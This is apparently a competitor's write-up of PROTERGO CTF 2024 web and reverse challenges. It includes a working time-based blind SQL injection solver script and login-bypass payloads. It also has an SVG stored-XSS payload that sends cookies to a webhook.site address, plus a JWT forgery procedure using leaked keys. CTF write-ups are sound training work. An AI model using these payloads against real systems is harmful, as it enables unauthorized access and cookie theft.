PROTERGO CTF 2024 - Writeup
Last week, i participated in PROTERGO CTF 2024 individually and was able to complete 4/5 challenges and successfully secured the 4th position. Here is the explanation writeup.
Jumper - Web
Solving Scenario:
First, I checked the target website. After accessing it, it will display a login page that requires the user to input a username and password to log in.
I checked the page source of the login page and found two endpoints, one for login and one to generate a token. The username and password sent will also be encoded into base64. If the login is successful, it will redirect to the /home page.
In addition to checking the page source, I also checked the JavaScript files used, which potentially contain hardcoded credentials or others. From that check, there were no credentials for login. Because this is a login page, I assume there is a vulnerability such as SQL Injection. I tried to perform SQL Injection techniques to bypass the Authentication to be able to login. Basic SQL Injection payload can be seen from the source link.
I tried inputting ‘ or 1=1# in the username and any password with the assumption that the SQL query used on the backend is “SELECT username, password FROM user WHERE username = ‘ or 1=1# and password = x”. So, after the (#) sign, it will become a comment, meaning it will not be read as a query, and the (#) sign is a comment for MySQL. After trying to login with that payload, I successfully logged in as an administrator. However, there is a sentence stating that what is sought is in another table.
From that sentence, it is clear that we need to dump the database. First, I attempted a Time-Based Blind SQL Injection payload with sleep, namely ‘ or sleep(10)#.
Given that the login request with the Time-Based payload was successfully executed for 10 seconds according to the payload. Let’s construct a payload to extract the table, column, and exfiltrate its flag, primarily sourced from link.
Here is the solver I used.
import requests
import json
import base64
import time
from urllib.request import urljoin
from string import ascii_lowercase, ascii_uppercase, digits
URL = "http://tokyo.ctf.protergo.party:10002"
Token = "/api/token"
Login = "/api/login"
charset = ascii_lowercase + digits + ",}{.:!@$^&*()#"
class Exploit:
def __init__(self, url=URL):
self.url = url
self.session = requests.Session()
def getToken(self):
hitToken = self.session.get(urljoin(self.url, Token))
return json.loads(hitToken.text)["data"]["token"]
def blind(self):
table = ""
column = ""
flag = ""
idx = 1
error = 0
while (error < 70):
for char in charset:
start = time.time()
token = self.getToken()
# Find tables charset without ascii_uppercase and underscore "_"
# sqli = base64.b64encode("' or (select sleep(3) from dual where (select table_name from information_schema.tables where table_schema=database() and table_name like '{}%' limit 0,1) like binary '%')#".format(table + char).encode())
# Find column charset without ascii_uppercase
# sqli = base64.b64encode("' or (select sleep(3) from dual where (select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 1,1) like binary '{}%')#".format(column + char).encode())
# Exfiltrate Flag charset without ascii_uppercase and underscore "_"
# https://lightless.me/archives/sqli-cheat-sheet.html
sqli = base64.b64encode("' or (select if((select substr(fl4g_c0lumn5,{},1) from flag limit 0,1) = '{}', sleep(3), null))#".format(idx, char).encode())
payload = {"username":sqli,"password":"x","token":token}
execute = self.session.post(urljoin(self.url, Login), data=payload)
end = time.time()
timebased = int(end - start)
if timebased == 3:
# table += char
# print(f"[+] Table = {table}")
# column += char
# print(f"[+] Column = {column}")
flag += char
Run the solver to exfiltrate the table, column, and flag.
Table:
Column:
For the character “”, it is a wildcard representing one character in the pattern. Since the dump result contains this wildcard, a query can be performed on the index with the character “” to find valid alphanumeric characters. From the attempt to dump the table and column names, the table name was obtained as “flag” and the column name as “fl4g_column5”. Next, just exfiltrate the flag with the table and column obtained according to the above solver.
Exfiltrate Flag:
Flag: PROTERGO{f0ac7b6358cf6269dc59819c1bf3019fc6fcc2c5f5567b8187eae87d51f25e8c}
================================================================================================
Control - Web
Solving Scenario:
Firstly, I checked the target website. Upon accessing it, there was text containing a link/endpoint for registering a SIM card, namely “/register”.
I proceeded to check the registration page. It is noted that on the registration page, there is a form consisting of fields such as name, phone number, location, national identity card (NIK), family card number (No KK), and a feature for uploading a photo of the national identity card (KTP).
I attempted to fill out the form with normal data and intercepted to observe the web’s response. It was observed that after the data was filled out and submitted, the API responded with a data URL path indicating the location where the file was stored on the server.
In the response body, the uploaded file name will change randomly according to the backend being used. My assumption was that there might be a vulnerability such as Unrestricted File Upload potentially leading to Remote Code Execution (RCE). However, after attempting to upload files like PHP and others, it was found that there is backend validation preventing such uploads, allowing only image files to be uploaded.
Upon rereading the problem description, it mentions “The Admin will check the image ID”. This implies there is user interaction after I register the SIM card. And one possible vulnerability with user interaction is XSS (Cross-Site Scripting) link.
I attempted an XSS exploit via SVG to steal cookies, so that when a user accesses the SVG file, it triggers the XSS payload. This SVG-based XSS is Stored because it will be stored within the server/database. Before proceeding with cookie stealing, I validated the vulnerability to display a pop-up. Below is the SVG payload used and saved with the .svg extension, sourced from link.
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("Banua");
</script>
</svg>
Try accessing the uploaded SVG file, and the payload successfully triggers by displaying a pop-up.
Next, I’ll create a payload to steal the cookie and send it to my webhook. Here, I’m using a One-Liner payload from link.
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script>var i=new Image;i.src="https://webhook.site/d8286ddf-6b37-456c-b98b-e21b9d86bab0?"+document.cookie;</script>
</svg>
Wait for the bot to access the SVG file, and the flag will be successfully obtained from cookie stealing.
Flag: PROTERGO{57d64a838c5158de42a706bf1e0195ee27406d551d29a217ed0706e8347824b0}
================================================================================================
Just Wiggle Toes - Web
Solving Scenario:
Firstly, I accessed the target web. It is known that the web only displays the sentence “Welcome to the website!”.
In the response body, the server used is nginx/1.25.3 and built with PHP/8.1.27. Additionally, in the sessions, there is a laravel_session indicating that the framework used is Laravel.
Since the directory/file containing other information is unknown, I performed directory enumeration, considering that this CTF organizer is an IT Security services vendor, so it wouldn’t stray far from typical “pentest” practices with directory enumeration.
I used the directory-list-2.3-medium.txt wordlist from SecList and the tool I used is [ffuf] (https://github.com/ffuf/ffuf) because, in my opinion, it’s faster than other tools. I ran the enumeration with a VPS because the challenge server was very slow. The enumeration took approximately 14 hours to complete.
Directory/endpoints obtained:
- /home
- /LittleSecrets/
- /portal_login
Try accessing the “LittleSecrets” directory, where there is a file named “env.bak” and a folder named “jwt” containing “jwt.php.bak”, “passphrase”, and “private.pem”.
Here, I attempted to access the page “/portal_login”.
On the “portal_login” page, it requires a username and password to log in. Since we don’t have this information, let’s register a new account using the link provided below the login button with the endpoint “/portal_register”.
After registering, log in with the newly created account. On the “/home” page, there is text stating “only admin can view the secret.” This means we need to perform privilege escalation to become an admin in order to view the secret/flag.
Let’s check the cookie being used, and it turns out to be a JWT. Try decoding this JWT token using a tool like link.
It is noted that the algorithm used is asymmetric, specifically RSA SHA256. From the payload, there is a parameter “is_admin” with a value of “0” or false. To become an admin, this value must be “1”. If changed to “1”, a valid signature is required. Public and private keys are needed to obtain a valid JWT token.
Since there are backup passphrase and private.pem in the jwt directory, we can generate the Public Key and Private Key using that passphrase.
After obtaining unencrypted Public Key and Private Key, simply input the signature into link to obtain a new valid JWT token with the payload “is_admin” set to true “1”.
Replace the current JWT with the new one generated, refresh the page, and successfully gain Admin access along with the flag.
Flag: PROTERGO{f5016c424def47159321869c8e7ff4cac79b9e721c0d700cf7c0c8ab7f43b203}
================================================================================================
Juggernaut of Wicked Tyranny - Reverse
Solving Scenario:
First, I checked the provided web link. It turned out that the website is identical to the “Just Wiggle Toes” challenge in the Web category. We need to log in as an admin to obtain the flag.
Previously, it was mentioned in the challenge description that the developer had hardened their JWT. Since this is a reversing challenge and an attachment named Application.zip was provided, let’s analyze that file.
Since our goal is to obtain the steps to construct a valid JWT token, I checked the JWT handler here. To facilitate analysis and see if there are any changes in the JWT handler code between this challenge and “Just Wiggle Toes,” I performed a comparison.
Based on the comparison, there were no changes in the JWT handler. This means the developer did not harden the JWT handler in this challenge. I then used grep to search for files related to “jwt” in the source code of the website.
There is a binary file named “chall” in the storage/jwt folder, which is used in the HomeController.php file. When this binary is executed, it prompts for a passphrase input.
Let’s directly retrieve the “chall” binary and decompile it using the IDA64 tool. Below is a snippet of its main function.
From the decompiled result, the main function of the binary is to generate a Private Key. To do this, we need to obtain the correct passphrase. The passphrase inputted by the user will be stored as “dest”. After that, it will be XORed with v10. If the result matches v11, then the passphrase is correct. The values of “dest” XORed with v10 are random according to the index taken from the value of v9. Since XOR is reversible, we can reverse the function by XORing v10 with v11. Then the result will be the passphrase (variable “dest”) with its character index still random according to the value of v9. We just need to sort the passphrase (variable “dest”) so that it is arranged in ascending order based on the value of v9. After that, the Private Key will be stored in the folder /var/www/html/storage/jwt/. Therefore, we need to create that folder first for the Private Key to be successfully stored. Below is the solver I used.
v9 = [23, 26, 7, 3, 19, 1, 8, 14, 27, 9, 28, 20, 2, 15, 16, 17, 24, 5, 18, 25, 6, 0, 21, 13, 4, 22, 31, 30, 12, 29, 11, 10]
v10 = [231, 123, 105, 15, 54, 75, 1, 74, 193, 25, 56, 79, 23, 233, 160, 152, 196, 255, 64, 124, 120, 105, 69, 86, 73, 120, 150, 124, 252, 249, 79, 84]
v11 = [215, 31, 95, 106, 84, 114, 50, 43, 160, 122, 93, 124, 36, 222, 196, 173, 240, 205, 35, 75, 27, 95, 32, 99, 127, 79, 247, 25, 201, 152, 44, 54]
v4 = 0
v12 = [None] * 16
v13 = [None] * 16
unsortedDest = []
for i in range(0,32):
unsortedDest.append(v10[i] ^ v11[i])
# Karena unsortedDest adalah value berdasarkan index dari v9 (sebagai contoh v9 = 23, unsortedDest index pertama adalah 48,
# karena berdasarkan decompile dest[v9[i]] maka output dari reversible XOR tersebut adalah dest sebenarnya tapi dimulai dari index 23),
# maka perlu sort dulu agar dari 0 - 31
# https://www.geeksforgeeks.org/python-convert-two-lists-into-a-dictionary/
tupples = [(key, value) for i, (key, value) in enumerate(zip(v9, unsortedDest))]
res = dict(tupples)
sortedDest = ""
for i in range(0,32):
sortedDest += chr(res.get(i))
print(sortedDest)
Run the solver, we will obtain the correct passphrase. Then, execute the “chall” binary with the obtained passphrase as input. After that, the Private Key file will be stored in the folder /var/www/html/storage/jwt/.
Next, generate unencrypted Public Key and Private Key using the private.pem file obtained.
Then, retrieve the JWT token from our logged-in user and change the payload value “is_admin” from “0” to “1” using a tool like (https://jwt.io/).
Replace the cookie we are using, then refresh the page, and we will successfully log in as an Admin and obtain the flag.
Flag: PROTERGO{673311e2d939238eaa08e461b0f4be5928293e26ac16ada1b5dbfed335c544b7}
================================================================================================
Monad (Unsolved) - Reverse
Solving Scenario:
First, I tried running the “monad” binary. It requires 10 lines of serial number input. If incorrect, it will display “Wrong” output.
I attempted to load the binary with ida64. However, when checking the main function from the decompiled result, it turned out to be using GHC (Glasgow Haskell Compiler), which can be identified in the main function named hs_main().
Referring to (https://rainbowpigeon.me/posts/grey-cat-the-flag-qualifiers-2022/#-runtime-environment-2), we can decompile the binary using hsdecomp (https://github.com/Timeroot/hsdecomp/).
Main_main_closure = >> $fMonadIO
(putStrLn (\loc_4226728_arg_0 loc_4226728_arg_1 loc_4226728_arg_2 loc_4226728_arg_3 loc_4226728_arg_4 -> unpackCString# "Enter 10 serial numbers:"))
(>> $fMonadIO
(\loc_4226504_arg_0 loc_4226504_arg_1 loc_4226504_arg_2 loc_4226504_arg_3 loc_4226504_arg_4 -> hFlush stdout)
(\loc_4226376_arg_0 loc_4226376_arg_1 loc_4226376_arg_2 loc_4226376_arg_3 loc_4226376_arg_4 ->
>>= $fMonadIO
(replicateM $fApplicativeIO (I# 10) getLine)
(\loc_4225968_arg_0 ->
case && (all $fFoldable[] (\loc_4224496_arg_0 -> && (== $fEqInt (length $fFoldable[] loc_4224096) loc_5042000) (all $fFoldable[] (\loc_4223912_arg_0 -> && (== $fEqInt (length $fFoldable[] loc_4223912_arg_0) loc_5042000) (&& (all $fFoldable[] isAlphaNum loc_4223912_arg_0) (&& (all $fFoldable[] (\loc_4223208_arg_0 -> notElem $fFoldable[] $fEqChar loc_4223208_arg_0 (map (\loc_4222624_arg_0 -> chr (xor $fBitsInt loc_4222624_arg_0 (I# 69))) (: (I# 21) (: (I# 23) (: (I# 10) (: (I# 17) (: (I# 0) (: (I# 23) (: (I# 2) (: (I# 10) [])))))))))) loc_4223912_arg_0) (&& (all $fFoldable[] isUpper loc_4223912_arg_0) (not (any $fFoldable[] isDigit loc_4223912_arg_0)))))) loc_4224096)) loc_4225968_arg_0) (== $fEqInt (length $fFoldable[] (nub ($fEq[] $fEqChar) loc_4225968_arg_0)) (length $fFoldable[] loc_4225968_arg_0)) of
loc_4226080_case_tag_DEFAULT_arg_0@_DEFAULT -> >> $fMonadIO (\loc_4225240_arg_0 loc_4225240_arg_1 loc_4225240_arg_2 loc_4225240_arg_3 loc_4225240_arg_4 -> putStrLn (\loc_4225176_arg_0 loc_4225176_arg_1 loc_4225176_arg_2 loc_4225176_arg_3 loc_4225176_arg_4 -> unpackCString# "WRONG")) (hFlush stdout)
)
)
)
loc_4224096 = (\loc_4222144_arg_0 loc_4222144_arg_1 ->
case dropWhile loc_4222144_arg_0 loc_4222144_arg_1 of
loc_4222208_case_tag_DEFAULT_arg_0@_DEFAULT -> []
)
(\loc_4224024_arg_0 -> == $fEqChar loc_4224024_arg_0 (C# 45))
loc_4224496_arg_0
loc_5042000 = I# 4
And I am stuck here as I have not yet understood the flow of the Haskell code. However, from my limited understanding of the check, it seems that I need to input a serial number in uppercase alphabet format consisting of 4 characters separated by “-“ to form the serial number format.
Thank you for reading this article, i hope it was helpful :-D
Follow me on: Linkedin, Medium, Github, Youtube, Instagram